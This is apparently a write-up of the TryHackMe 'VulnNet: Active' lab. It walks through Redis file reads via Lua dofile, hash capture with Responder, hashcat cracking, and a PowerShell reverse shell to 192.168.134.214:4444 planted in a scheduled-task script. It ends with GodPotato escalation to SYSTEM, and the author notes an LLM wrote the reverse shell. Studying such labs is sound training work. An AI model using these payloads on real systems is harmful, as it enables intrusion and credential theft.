winADredisresponderhashcatGodPotatoprivesc
↓ view full writeup .txt

Writeup — VulnNet: Active (TryHackMe)

OS: Windows Server 2019 (Domain Controller, domain vulnnet.local)
Difficulty: Medium
Date: 11 September 2026


Summary

A Windows machine that is a Domain Controller but doesn't behave like one: the author filtered the classic ports of a DC (Kerberos, LDAP, global catalog) leaving the machine attackable as if it were a standalone Windows. The full port scan reveals a Redis 2.8 exposed on 6379, a rare service to find open and one I arrived at by total elimination after discarding everything else. Redis runs as the user enterprise-security and that version allows arbitrary file reads through Lua's dofile: exploiting it you read the user flag from the user's Desktop. from there, config set dir pointed at a UNC path towards my machine forces Redis to authenticate over SMB, the NetNTLMv2 hash of enterprise-security is captured with Responder and cracked with hashcat (password sand_0873959498). with those credentials you enumerate a writable SMB share, Enterprise-Share, which contains a PowerShell script executed periodically by a scheduled task: appending a reverse shell to it and re-uploading it gets you a shell as enterprise-security. The user has SeImpersonatePrivilege enabled, so with GodPotato you impersonate SYSTEM and read the system flag from the Administrator's Desktop

Chain: nmap full port → Redis 6379 (by elimination) → dofile arbitrary file read → user.txt → config set dir to a UNC path → NetNTLMv2 hash on Responder → hashcat → sand_0873959498 → SMB share Enterprise-Share writable → .ps1 script with scheduled task → reverse shell → shell enterprise-security → SeImpersonatePrivilege → GodPotato → SYSTEM → system.txt.


additional tools and methodology

an llm was used during the session: for looking up CVE details, interpreting raw output, suggesting unexplored vectors when stuck and detailed explanation of technical concepts. the execution and the operational decisions were mine. the writeup was written by me and later cleaned up with the same tool.


Preface

first Medium machine of the path and you feel the jump in difficulty compared to the previous Easy ones. the room is unstable like several others on TryHackMe: the VM froze completely once halfway through the escalation, with SMB and Redis stopping responding, forcing a restart of the lab machine and a redo of the initial part of the chain (new IP, new hash to recapture, the password however stays the same).
two points cost me time for mistakes of my own more than technical ones: I stubbornly stuck with reading via Redis even when it was clear the system flag wasn't under enterprise-security, and later I pressed Ctrl+C inside the reverse shell thinking it would only interrupt the command, closing the netcat listener instead and losing the session,a couple of times. the reverse shell as a last resort I asked the llm for explicitly: when a TryHackMe machine bets everything on a single service and there's nothing left to explore, the way forward is often to invest time in building a simple reverse shell on the service, and here too it worked. the reverse shell script was generated by the llm.


Phase 1 — Reconnaissance

the machine blocks ping, hence the -Pn. sudo is also needed for the SYN scan:

sudo nmap -sC -sV -p- -T4 -Pn -v -oN vulnnet_active.txt 10.112.187.155

Result:

53/tcp open domain Simple DNS Plus
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
6379/tcp open redis Redis key-value store 2.8.2402
9389/tcp open mc-nmf .NET Message Framing
49666-49698/tcp open msrpc Microsoft Windows RPC (various dynamic ports)

Host script results:
| smb2-security-mode: 3.1.1: Message signing enabled and required
Service Info: OS: Windows

the port-by-port analysis, which is what counts more than the vector itself:

53 is DNS and in a Windows environment it's almost always integrated with the DC, it doesn't stand out as a vector.
135, 139 and all the dynamic RPC ports (49666–49698) are historically saturated and of little use from my previous machines, I rule them out immediately.
464 is curious: it exposes kpasswd5?, a service I didn't know and had never come across. looking it up, it's the Kerberos password change service, and its presence together with 53 is effectively an almost certain indicator of the Domain Controller role. nmap marks it with ? because it can't get a clean fingerprint of the service.
6379 is Redis, which I had never seen exposed: not knowing it, I read up on what it is (an in-memory NoSQL database used as a cache, key-value store and message broker) and looked up online the essential commands to query it.
9389 is .NET Message Framing, typical of Active Directory Web Services, another confirmation of the DC role.
Service Info says Windows, and SMB runs version 2 with dialect 3.1.1, signing enabled and required.

I found Redis by total elimination: every service discarded, apart from the unknown ones, made no sense to pursue, and the only genuinely anomalous and attackable one on this machine was exactly Redis on 6379.


Phase 2 — Redis enumeration

never having worked with Redis, I start from info to understand what I'm dealing with:

redis-cli -h 10.112.187.155 info

the output confirms redis_version 2.8.2402, os Windows, arch 64 bit, role master. an old version, which is promising. from here I query the instance's working directory, which tells which user it runs as and where it can write:

redis-cli -h 10.112.187.155 config get dir

1) "dir"
2) "C:\Users\enterprise-security\Downloads\Redis-x64-2.8.2402"

Redis therefore runs in the context of the user enterprise-security. this is the username on which to build all the rest


Phase 3 — Arbitrary file read and the user flag

passing the context, the Redis version and the question about known vulnerabilities to the llm, it emerges that Redis 2.8 has Lua built in and that eval runs server-side scripts. dofile reads a file from the victim's disk and interprets its contents as Lua: if the file isn't valid code, the Lua error returned prints part of the contents, effectively an arbitrary file read primitive.

I verify first on a known system file:

redis-cli -h 10.112.187.155 eval "return dofile('C:\Windows\win.ini')" 0
(error) ... win.ini:1: unexpected symbol near ';'

it works: it interprets the file contents as Lua and spits it out in the error. the room task explicitly points to the path (Desktop\user.txt),so I go straight there without guessing:

redis-cli -h 10.112.187.155 eval "return dofile('C:\Users\enterprise-security\Desktop\user.txt')" 0
(error) ... user.txt:1: malformed number near '3eb176aee96432d5b100bc93580b291e'

here I got stuck for a moment: I couldn't tell whether malformed number was a wrong output or whether that 3eb1... had to be transformed somehow. trying the string on the site, answer incorrect. the reason is that dofile interprets the contents as Lua and the THM{ prefix triggers the syntax error that truncates the output before the numeric part, leaving only the hexadecimal part visible. recomposing the standard TryHackMe flag format:

user flag: THM{3eb176aee96432d5b100bc93580b291e}

the same read on enterprise-security's Desktop for system.txt gives No such file or directory: the system flag isn't under this user, so escalation is needed.


Phase 4 — Hash capture over SMB and cracking

for the second flag interactive access is needed, and the clean route is stealing the service user's credentials. looking up online how to force Redis to authenticate and steal a service user's credentials, the technique is to point Redis's working directory at a UNC path towards my machine: in trying to reach it, the service authenticates over SMB and sends the hash.

Responder discovers and poisons name resolution requests (LLMNR, NBT-NS, MDNS) and hosts fake servers (SMB among them) to capture authentication hashes. it was already present on my Kali, it requires sudo. I launch it on tun0:

sudo responder -I tun0

it stays listening (Listening for events) as it should. in a second terminal I force the auth:

redis-cli -h 10.112.187.155 -t 5 config set dir "\192.168.134.214\share"
(error) ERR Changing directory: Permission denied

the config fails with Permission denied, but the attempt to reach the UNC path fires before the refusal, and Responder intercepts the hash:

[SMB] NTLMv2-SSP Username : VULLNET\enterprise-security
[SMB] NTLMv2-SSP Hash : enterprise-security::VULNNET:...

I save the hash to a file and crack it with rockyou. the NetNTLMv2 mode in hashcat is 5600:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

rockyou took unusually long for a hash that then falls at a quarter of the wordlist. Status: Cracked, the password appears at the end of the hash line after the colon:

enterprise-security::VULNNET:...:sand_0873959498

credentials: enterprise-security / sand_0873959498.


Phase 5 — SMB share enumeration

with valid credentials I enumerate the shares. smbclient times out on the first attempt (recurring behaviour on this machine throughout the session), netexec goes through instead:

netexec smb 10.112.187.155 -u 'enterprise-security' -p 'sand_0873959498' --shares

Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
Enterprise-Share READ,WRITE
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share

what catches the eye is Enterprise-Share: it's the only share with WRITE permission. the two administrative shares (ADMIN$, C$) report no permissions, and the other three (IPC$, NETLOGON, SYSVOL) are read-only. I log into the Enterprise share to see whether it contains useful info or credentials. netexec also confirms the domain vulnnet.local, host VULNNET-BC3TCK1, Windows Server 2019 Build 17763.


Phase 6 — Writable share and scheduled task

smbclient with -m SMB3 forced connects (the initial scan reported SMB dialect 2/3.1.1, but smbclient's automatic negotiation was timing out: forcing SMB3 skips the problem):

smbclient //10.112.187.155/Enterprise-Share -U 'enterprise-security%sand_0873959498' -m SMB3

smb: > dir
PurgeIrrelevantData_1826.ps1 A 69 ...

a single file, a .ps1 script (PowerShell). it was the only lead and the only thing visible. I download it and read it:

smb: > get PurgeIrrelevantData_1826.ps1

rm -Force C:\Users\Public\Documents* -ErrorAction SilentlyContinue

the script deletes files in a public folder. the name with the number, the position in a writable share and the fact that it periodically cleans a folder indicate that it runs automatically via a scheduled task at intervals. if I append a reverse shell to it and re-upload it, when the task fires again it hands me back a shell as the user that runs it.


Phase 7 — Reverse shell

as a last resort I ask the llm to prepare a PowerShell reverse shell: in the past, on TryHackMe machines that bet everything on a single vector, the platform is obsessed with reverse shells on the service, and here the pattern repeats. the reverse shell script was generated by the llm. I append it to the existing script:

echo '$client = New-Object System.Net.Sockets.TCPClient("192.168.134.214",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' » PurgeIrrelevantData_1826.ps1

I put netcat on listen:

nc -lvnp 4444

and re-upload the modified script to the share, overwriting the original:

smbclient //10.112.187.155/Enterprise-Share -U 'enterprise-security%sand_0873959498' -m SMB3 -c 'put PurgeIrrelevantData_1826.ps1'

after a couple of minutes the task runs and the shell arrives:

connect to [192.168.134.214] from (UNKNOWN) ...
PS C:\Users\enterprise-security\Downloads> whoami
vulnnet\enterprise-security

as expected, when there's nothing left to explore on a machine's flagship service (Redis in this case), the only thing to do is invest time building a shell with simple reverse shells, and it worked here too.

here the session got complicated because of my own mistakes: a couple of times I pressed Ctrl+C inside the reverse shell believing it would only interrupt the running command, closing the netcat listener instead and losing the session. each time I had to put nc back on listen and re-upload the script to make the task fire again. once the VM froze outright (SMB and Redis no longer responding), forcing a restart of the lab machine, a new IP and a new hash capture on Responder, the password however was the same, nothing to re-crack.


Phase 8 — Privilege escalation with GodPotato

I check the user's privileges:

PS C:\Users\enterprise-security\Downloads> whoami /priv

SeMachineAccountPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeImpersonatePrivilege Enabled
SeCreateGlobalPrivilege Enabled
SeIncreaseWorkingSetPrivilege Disabled

SeImpersonatePrivilege is enabled. I didn't know these privileges in detail: looking it up, SeImpersonatePrivilege lets a process impersonate another user's security context after authentication, and it's the basis of the Potato family of attacks, which allow a low-privilege account to reach SYSTEM. the confirmation that escalation is needed is that a direct type on C:\Users\Administrator\Desktop\system.txt as enterprise-security just hangs without returning anything, that is access denied.

GodPotato is the tool that exploits SeImpersonatePrivilege on Windows Server 2019: it abuses the DCOM/RPC mechanism to force a privileged service to authenticate towards a named pipe controlled by the attacker, captures SYSTEM's token and impersonates it to run an arbitrary command in that context. I download it onto my Kali and upload it to the machine through the same writable share:

wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
smbclient //10.114.143.229/Enterprise-Share -U 'enterprise-security%sand_0873959498' -m SMB3 -c 'put GodPotato-NET4.exe'

from the reverse shell I copy it locally and run it directly on the system flag file:

copy \10.114.143.229\Enterprise-Share\GodPotato-NET4.exe C:\Users\enterprise-security\Downloads\gp.exe
.\gp.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\system.txt"

the output shows the whole impersonation chain: it starts as NT AUTHORITY\NETWORK SERVICE, finds SYSTEM's token (PID 848), impersonates it and starts the process as NT AUTHORITY\SYSTEM, which reads the flag:

[] CurrentUser: NT AUTHORITY\SYSTEM
[
] process start with pid 2764
THM{d540c0645975900e5bb9167aa431fc9b}

system flag: THM{d540c0645975900e5bb9167aa431fc9b}


Full chain

nmap full port → DNS, saturated RPC, kpasswd5 (464), Redis (6379), ADWS (9389)
→ Redis chosen by total elimination, the only anomalous and attackable service
→ config get dir → runs as enterprise-security
→ dofile arbitrary file read via Lua → user.txt (THM truncates the output in the error)
→ system.txt not present under the user → escalation needed
→ config set dir to a UNC path towards my machine → SMB auth forced
→ Responder captures the NetNTLMv2 hash → hashcat -m 5600 → sand_0873959498
→ netexec: share Enterprise-Share with WRITE permission
→ script PurgeIrrelevantData_1826.ps1 executed by a scheduled task
→ reverse shell appended to the script → shell enterprise-security
→ whoami /priv → SeImpersonatePrivilege enabled
→ GodPotato → SYSTEM token impersonation → system.txt


Lessons learned

when a room task explicitly points to a path (Desktop\user.txt, Desktop\system.txt) it isn't coincidence: it should be used as a direct map instead of enumerating the filesystem at random, which is what I did late, stubbornly sticking with reading via Redis even when it was already clear the system flag wasn't under that user.

Ctrl+C inside a netcat reverse shell doesn't interrupt the remote command, it closes the listener and kills the session. to stop a hanging command on the target side without losing the shell you need other measures, and in a session where getting the shell back costs minutes (it depends on a scheduled task) this mistake weighs a lot.

a rare and exposed service like Redis is always worth more than the myriad of standard RPC/SMB ports: reasoning by elimination, discarding the saturated services and concentrating on the single anomalous one, led straight to the vector without wasting time.

SeImpersonatePrivilege on a low-privilege account is effectively a ready-made escalation to SYSTEM: its mere presence in whoami /priv, on Windows Server, points immediately towards a Potato attack with no need to look for other escalation vectors


Tools used

nmap, redis-cli, Responder, hashcat (-m 5600 NetNTLMv2), netexec (smb --shares, winrm), smbclient (-m SMB3), netcat, GodPotato (V1.20, GodPotato-NET4.exe), PowerShell (reverse shell)

← back